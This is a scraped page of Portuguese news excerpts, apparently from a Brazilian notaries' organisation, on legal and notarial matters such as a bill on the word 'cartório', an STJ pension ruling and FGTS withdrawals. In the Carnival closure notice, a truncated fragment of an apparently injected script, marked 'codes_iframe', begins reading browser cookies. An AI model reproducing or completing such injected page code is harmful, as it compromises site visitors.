p style=text-align: justify;Muito se tem discutido acerca da natureza jurídica dessas contribuições sociais devidas a entidades privadas.../p !--more-- nbsp; section id=gk-mainsection class=container-fluidsection class=gk-content-wrap row-fluidsection id=gk-content class=span9section id=gk-component div class=item-page gk-item-page div class=gk-article p style=text-align: justify;Kiyoshi Harada*/p p style=text-align: justify;São as seguintes as contribuições sociais do sistema S: (a) SENAI – Decreto-lei nº 4.048, de 22-1-1942 […]

emEm análise na Câmara dos Deputados, o Projeto de Lei 4978/16, do deputado Rômulo Gouveia (PSD-PB), determina que o uso do nome “cartório” deve ser restrito aos prestadores de serviço notariais e de registro./em !--more-- div id=conteudoNoticia “Percebendo a existência de um potencial para ganhos e vantagens econômicas, empresas têm se apropriado indevidamente da denominação […]

emEm virtude do feriado de Carnaval, a Confederação Nacional de Notários e Registradores (CNR) não terá expediente nos dias 27 (segunda-feira) e 28 (terça-feira) de fevereiro./em !--more-- Retornaremos as atividades na quarta-feira de Cinzas, 1º de março, o expediente será das 13h às 18h. Fonte: Assessoria de Imprensa da CNR !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new […]

p style=text-align:justify;em“Não se aplica a aposentadoria compulsória prevista no artigo 40, parágrafo 1º, inciso II, da Constituição Federal aos titulares de serventias judiciais não estatizadas, desde que não sejam ocupantes de cargo público efetivo e não recebam remuneração proveniente dos cofres públicos”. Essa foi a tese aprovada, por unanimidade, na sessão plenária desta quarta-feira (15), […]

emAté R$ 43 bilhões poderão ser sacados entre março e julho de 49,6 milhões de contas inativas./em !--more-- p style=text-align:justify; “A medida é boa para o Brasil, é boa para o trabalhador e boa para a economia, porque serão R$ 43 bilhões que estarão à disposição. Aqueles trabalhadores que têm as suas contas inativas poderão […]

A Terceira Turma do Superior Tribunal de Justiça (STJ) rejeitou o recurso da viúva pensionista de um procurador de Justiça que buscava receber parcelas remuneratórias devidas ao procurador que só foram reconhecidas após sua morte. !--more-- A Terceira Turma do Superior Tribunal de Justiça (STJ) rejeitou o recurso da viúva pensionista de um procurador de […]

p style=text-align: justify; emNas minhas muitas viagens a cada recanto do nosso Brasil, ainda como Presidente da ANOREG-BR e da FEBRANOR, levando a todos o nosso projeto de criação da organização sindical nacional própria dos notários e registradores, por diversas vezes me questionaram: “Para que sindicato?”, “Porquê pagar a contribuição sindical?”, “Para que serve uma […]